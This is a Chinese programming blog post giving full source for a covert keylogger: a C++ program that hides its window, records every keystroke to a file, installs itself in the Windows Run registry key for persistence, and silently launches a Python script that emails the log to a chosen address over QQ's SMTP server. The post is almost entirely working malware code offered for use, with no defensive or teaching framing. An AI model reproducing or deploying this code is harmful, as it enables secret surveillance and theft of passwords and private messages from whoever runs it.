首页 > 编程语言 >Python 基于C++ & python的键盘记录器发送指定邮箱

Python 基于C++ & python的键盘记录器发送指定邮箱

时间:2024-11-19 11:13:54浏览次数:3  
标签:case NumKey revalue Python VK C++ else break 键盘记录

Python 基于C++ & python的键盘记录器发送指定邮箱

1.简介:

采用c++与python语言相结合的方法,c++负责采集键盘操作记录到文本,python脚本实时将文本内容发送至指定邮箱。资源文件已打包,可设置开机自启动。

2.kb.cpp 键盘记录实现代码:

#include <iostream>
#include <stdio.h>
#include <io.h>
#include <stdlib.h>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口
using namespace std;
string GetKeyName( int );
bool JudgeShift();
void init();

int main()
{
	string	FileName	= "D://log.txt";
	string	KeyName		= "";
	fstream FileStream;
	init();
	while ( 1 )
	{	FileStream.open( FileName.c_str(), std::fstream::out | std::fstream::app );
		Sleep( 50 );
		for ( int i = 8; i <= 255; i++ )
		{
			if ( GetAsyncKeyState( i ) & 1 == 1 )   /* 判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过 */
			{
				KeyName = GetKeyName( i );
				FileStream.write( KeyName.c_str(), KeyName.size() );
			}
		}
		
		FileStream.close();
	}
	return(0);
}
void init(){
	
		// 下面的代码防止程序重复被运行 //
		HANDLE hOneInstanceMutex = ::CreateMutex(NULL, FALSE, "MyServer_is_Running");
		if(GetLastError() == ERROR_ALREADY_EXISTS)	
		{	
			hOneInstanceMutex = NULL;
			return ;	
		}
		///
	if ( !access("D://log.txt",0) ){
		Sleep(5000);
		WinExec("D://sd.exe",SW_HIDE); 
		Sleep(3000);
		remove("D://log.txt");
	}
	if ( !access("D://start.txt",0) )return;//如果已设置开机自启动 ,则不必再设置
	//printf("开始设置启动"); 
	//写入注册表,开机自启动 
	HKEY hKey; 
	//找到系统的启动项 
	LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
	//打开启动项Key 
	long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_WRITE, &hKey); 
	if(lRet == ERROR_SUCCESS) 
	{ 
		char pFileName[MAX_PATH] = {0}; 
		//得到程序自身的全路径 
		DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH); 
		//添加一个子Key,并设置值 
		lRet = RegSetValueEx(hKey, "kb", 0, REG_SZ, (BYTE *)pFileName, dwRet); 
		//关闭注册表 
		RegCloseKey(hKey); 
		if(lRet != ERROR_SUCCESS) 
		{ 
			printf("错误,不能随系统启动"); 
		}else {
			FILE *fp=fopen("D://start.txt","w");
			fclose(fp);
		} 
	}
	return;
}

string GetKeyName( int NumKey )
{
	bool	IS_SHIFT	= JudgeShift();
	string	revalue		= "";
	if ( NumKey >= 65 && NumKey <= 90 )
	{
		if ( GetKeyState( VK_CAPITAL ) )
		{
			if ( IS_SHIFT )
				revalue = NumKey + 32;
			else
				revalue = NumKey;
		}else  {
			if ( IS_SHIFT )
				revalue = NumKey;
			else
				revalue = NumKey + 32;
		}
	}
	/* ---------------------------上面的部分判断键盘上的字母----------------------------------------------// */
	else if ( NumKey >= 48 && NumKey <= 57 )
	{
		if ( IS_SHIFT )
		{
			switch ( NumKey )
			{
			case 48: revalue	= ")"; break;
			case 49: revalue	= "!"; break;
			case 50: revalue	= "@"; break;
			case 51: revalue	= "#"; break;
			case 52: revalue	= "$"; break;
			case 53: revalue	= "%"; break;
			case 54: revalue	= "^"; break;
			case 55: revalue	= "&"; break;
			case 56: revalue	= "*"; break;
			case 57: revalue	= "("; break;
			}
		}else  {
			switch ( NumKey )
			{
			case 48: revalue	= "0"; break;
			case 49: revalue	= "1"; break;
			case 50: revalue	= "2"; break;
			case 51: revalue	= "3"; break;
			case 52: revalue	= "4"; break;
			case 53: revalue	= "5"; break;
			case 54: revalue	= "6"; break;
			case 55: revalue	= "7"; break;
			case 56: revalue	= "8"; break;
			case 57: revalue	= "9"; break;
			}
		}
	}
	/* 判断键盘中间的特殊符号 */
	else if ( NumKey >= 186 && NumKey <= 222 )
		switch ( NumKey )
		{
		case 186:
			if ( IS_SHIFT )
				revalue = ":";
			else
				revalue = ";";
			break;
		case 187:
			if ( IS_SHIFT )
				revalue = "+";
			else
				revalue = "=";
			break;
		case 188:
			if ( IS_SHIFT )
				revalue = "<";
			else
				revalue = ",";
			break;
		case 189:
			if ( IS_SHIFT )
				revalue = "_";
			else
				revalue = "-";
			break;
		case 190:
			if ( IS_SHIFT )
				revalue = ">";
			else
				revalue = ".";
			break;
		case 191:
			if ( IS_SHIFT )
				revalue = "?";
			else
				revalue = "/";
			break;
		case 192:
			if ( IS_SHIFT )
				revalue = "~";
			else
				revalue = "`";
			break;
		case 219:
			if ( IS_SHIFT )
				revalue = "{";
			else
				revalue = "[";
			break;
		case 220:
			if ( IS_SHIFT )
				revalue = "|";
			else
				revalue = "\\";
			break;
		case 221:
			if ( IS_SHIFT )
				revalue = "}";
			else
				revalue = "]";
			break;
		case 222:
			if ( IS_SHIFT )
				revalue = '"';
			else
				revalue = ",";
		default:
			revalue = "error";
			break;
		}


	else if ( NumKey == VK_ESCAPE )      /* 退出 */
		revalue = "[Esc]";
	else if ( NumKey == VK_F1 )     /* F1至F12 */
		revalue = "[F1]";
	else if ( NumKey == VK_F2 )
		revalue = "[F2]";
	else if ( NumKey == VK_F3 )
		revalue = "[F3]";
	else if ( NumKey == VK_F4 )
		revalue = "[F4]";
	else if ( NumKey == VK_F5 )
		revalue = "[F5]";
	else if ( NumKey == VK_F6 )
		revalue = "[F6]";
	else if ( NumKey == VK_F7 )
		revalue = "[F7]";
	else if ( NumKey == VK_F8 )
		revalue = "[F8]";
	else if ( NumKey == VK_F9 )
		revalue = "[F9]";
	else if ( NumKey == VK_F10 )
		revalue = "[F10]";
	else if ( NumKey == VK_F11 )
		revalue = "[F11]";
	else if ( NumKey == VK_F12 )
		revalue = "[F12]";
	else if ( NumKey == VK_SNAPSHOT )       /* 打印屏幕 */
		revalue = "[PrScrn]";
	else if ( NumKey == VK_SCROLL )         /* 滚动锁定 */
		revalue = "[Scroll Lock]";
	else if ( NumKey == VK_PAUSE )          /* 暂停、中断 */
		revalue = "[Pause]";
	else if ( NumKey == VK_CAPITAL )        /* 大写锁定 [Caps Lock]*/
		revalue = "";
	else if ( NumKey == VK_BACK )           /* <- 回格键 */
		revalue = "[Backspace]";
	else if ( NumKey == VK_RETURN )         /* 回车键、换行 [Enter]*/
		revalue = "\n";
	else if ( NumKey == VK_SPACE )          /* 空格 */
		revalue = " ";
	else if ( NumKey == VK_TAB )            /* 制表键 [Tab]*/
		revalue = "    ";
	else if ( NumKey == VK_LCONTROL )       /* 左控制键 */
		revalue = "[Ctrl]";
	else if ( NumKey == VK_RCONTROL )       /* 右控制键 */
		revalue = "[CTRL]";
	else if ( NumKey == VK_LMENU )          /* 左换档键 */
		revalue = "[Alt]";
	else if ( NumKey == VK_LMENU )          /* 右换档键 */
		revalue = "[ALT]";
	else if ( NumKey == VK_LWIN )           /* 右 WINDOWS 键 */
		revalue = "[Win]";
	else if ( NumKey == VK_RWIN )           /* 右 WINDOWS 键 */
		revalue = "[WIN]";
	else if ( NumKey == VK_APPS )           /* 键盘上 右键 */
		revalue = "右键";
	else if ( NumKey == VK_INSERT )         /* 插入 */
		revalue = "[Insert]";
	else if ( NumKey == VK_DELETE )         /* 删除 */
		revalue = "[Delete]";
	else if ( NumKey == VK_HOME )           /* 起始 */
		revalue = "[Home]";
	else if ( NumKey == VK_END )            /* 结束 */
		revalue = "[End]";
	else if ( NumKey == VK_PRIOR )          /* 上一页 */
		revalue = "[PgUp]";
	else if ( NumKey == VK_NEXT )           /* 下一页 */
		revalue = "[PgDown]";
	/* 不常用的几个键:一般键盘没有 */
	else if ( NumKey == VK_CANCEL )         /* Cancel */
		revalue = "[Cancel]";
	else if ( NumKey == VK_CLEAR )          /* Clear */
		revalue = "[Clear]";
	else if ( NumKey == VK_SELECT )         /* Select */
		revalue = "[Select]";
	else if ( NumKey == VK_PRINT )          /* Print */
		revalue = "[Print]";
	else if ( NumKey == VK_EXECUTE )        /* Execute */
		revalue = "[Execute]";

	/* ----------------------------------------// */
	else if ( NumKey == VK_LEFT )           /*上、下、左、右键 */
		revalue = "[←]";
	else if ( NumKey == VK_RIGHT )
		revalue = "[→]";
	else if ( NumKey == VK_UP )
		revalue = "[↑]";
	else if ( NumKey == VK_DOWN )
		revalue = "[↓]";
	else if ( NumKey == VK_NUMLOCK )        /* 小键盘数码锁定 [NumLock]*/
		revalue = "";
	else if ( NumKey == VK_ADD )            /* 加、减、乘、除 */
		revalue = "+";
	else if ( NumKey == VK_SUBTRACT )
		revalue = "-";
	else if ( NumKey == VK_MULTIPLY )
		revalue = "*";
	else if ( NumKey == VK_DIVIDE )
		revalue = "/";
	else if ( NumKey == 190 || NumKey == VK_DECIMAL ) /* 键盘 . 及小键盘 . */
		revalue = ".";
	/* 小键盘数字键:0-9 */
	else if ( NumKey == VK_NUMPAD0 )
		revalue = "0";
	else if ( NumKey == VK_NUMPAD1 )
		revalue = "1";
	else if ( NumKey == VK_NUMPAD2 )
		revalue = "2";
	else if ( NumKey == VK_NUMPAD3 )
		revalue = "3";
	else if ( NumKey == VK_NUMPAD4 )
		revalue = "4";
	else if ( NumKey == VK_NUMPAD5 )
		revalue = "5";
	else if ( NumKey == VK_NUMPAD6 )
		revalue = "6";
	else if ( NumKey == VK_NUMPAD7 )
		revalue = "7";
	else if ( NumKey == VK_NUMPAD8 )
		revalue = "8";
	else if ( NumKey == VK_NUMPAD9 )
		revalue = "9";
	/* ----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------// */

	return(revalue);
}

bool JudgeShift()// 判断Shift键状态
{
	
	if (GetAsyncKeyState( VK_SHIFT ))
		return(true);
	else
		return(false);
}

3.send.py代码实现文本内容发送邮箱部分:

from email.mime.text import MIMEText
from email import encoders
from email.header import Header
from email.utils import parseaddr, formataddr
import smtplib
import sys
import requests
def _format_addr(s):
    name, addr = parseaddr(s)
    return formataddr((Header(name, 'utf-8').encode(), addr))

def isConnected():
	try:
		html = requests.get("http://www.baidu.com",timeout=2)
	except:
		return False
	return True
if(isConnected()==False):
	sys.exit()
#输入Email地址和口令: 发送者的qq号@qq.com
from_addr = '[email protected]'
password = 'xxxxxxx'
#输入收件人地址:'hello, send by Python...'
to_addr = 'xxxxxx'
#输入SMTP服务器地址:
smtp_server = 'smtp.qq.com'
f = open('D://log.txt')
log = f.read()
f.close()
msg = MIMEText(log, 'plain', 'utf-8')
msg['From'] = _format_addr('键盘记录器 <%s>' % from_addr)
#print(msg['From'],'\n')
msg['To'] = _format_addr('管理员 <%s>' % to_addr)
msg['Subject'] = Header('来自SMTP的问候……', 'utf-8').encode()

server = smtplib.SMTP(smtp_server, 25) # SMTP协议默认端口是25
#server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

运行效果:

在这里插入图片描述

标签:case,NumKey,revalue,Python,VK,C++,else,break,键盘记录
From: https://blog.csdn.net/Clay_K/article/details/143874665

相关文章

  • Python将IPv4地址转换成十进制、十六进制
    importsocketimportstruct#定义IP地址ip='192.168.66.21'#将IP地址转换为十进制ip_decimal=struct.unpack("!I",socket.inet_aton(ip))[0]#将十进制转换为十六进制ip_hex=hex(ip_decimal)#输出结果print(f"IP地址:{ip}")print(f"十进制:{......
  • 实现简易计算器 网格布局 QT环境 纯代码C++实现
    问题:通过代码完成一个10以内加减法计算器。不需要自适应,界面固定360*350。"="按钮90*140,其它按钮90*70。参考样式#defineDEFULT_BUTTON_STYLE"\QPushButton{\color:#000000;\border:1pxsolid#AAAAAA;\border-radius:0;\background-color:#FFFFFF;......
  • Python实现文件夹上传到Linux服务器(带日志功能)
    功能概述实现一个FileUploader类,用于将本地文件夹及其子文件上传到Linux服务器的指定目录,并支持:冲突处理策略:覆盖:直接覆盖远程文件。跳过:跳过已存在的远程文件。重命名:避免冲突,为文件生成唯一名称。日志功能:记录上传成功的文件(upload_success.log)。记录上传失败......
  • python爬虫-使用requests库和BeautifuSoup库爬取静态网页
    目前在自学python中,作此记录,欢迎交流。此次练手对象为爬取中国大学排名内容并进行输出;总的思路如下:1、选取一个网站,观察所需要的信息位置网站链接:中国大学排名_高校排名_中国大学排行榜-中国教育在线当前页面右键鼠标,选择查看源代码,观察所需内容位置:可以看到内容保存在d......
  • python-爬取网站天气数据-1
    一、选择一个网站,观察需要的内容位置这次练手对象是一个2345网站天气数据,如下:南京历史天气查询_历史天气预报查询_2345天气预报这里面我想要获得的天气数据如上图,我需要将这些数据爬取下来并保存为本地文件。二、查看代码,观察内容信息在代码中所处的位置右键,选择查看源代......
  • Python爬虫(爬取博客网为例)
    一、前言场景1:一个网络爬虫,顺序爬取一个网页花了一个小时,采用并发下载就减少到了20分钟。场景2:一个应用软件优化前每次打开网页需要3秒,采用异步并发提升到了200毫秒。假设一个工程的工作量为100,不采用并发编程就相当于由一个人去完成这个工作量为100的所有工作内容,可能需要1......
  • Python中的平方功能:方便实用的数据处理利器
    Python作为一门广泛应用于数据科学、机器学习和人工智能领域的编程语言,具有许多实用的功能。其中,Python中的平方功能是一个非常有用和实用的数据处理利器。简洁易用的语法Python中的平方功能使用的是**运算符,其语法为**数**,其中数可以是任意实数、整数或字符串。例如,要计......
  • Python用subprocess管理子进程在Windows平台实现平行效果
    在Python中,使用subprocess模块管理子进程时,如果你在Windows平台上尝试实现类似于Unix系统的“平行效果”(即父子进程可以同时运行),你可能会遇到一些问题。在Unix系统中,子进程是独立于父进程的,它们可以同时运行。但在Windows系统中,当你使用subprocess创建子进程时,默认情况下会存在父......
  • 《Python从入门到实践》第四章动手试一试
    4-1比萨:想出至少三种你喜欢的比萨,将其名称存储在一个列表中,再使用for循环将每种比萨的名称都打印出来。修改这个for循环,使其打印包含比萨名称的句子,而不仅仅是比萨的名称。对于每种比萨,都显示一行输出,如“Ilikepepperonipizza”。在程序末尾添加一行代码,它不在for循环中,指......
  • Python设计模式详解之1 —— 单例模式
    单例模式(SingletonPattern)是一种创建型设计模式,它确保一个类只有一个实例,并提供全局访问点。单例模式适用于需要确保全局唯一实例的场景,例如配置管理、日志记录器、数据库连接等。1.单例模式的特点全局唯一性:在整个应用程序的生命周期内,单例类只能有一个实例。全局访问:......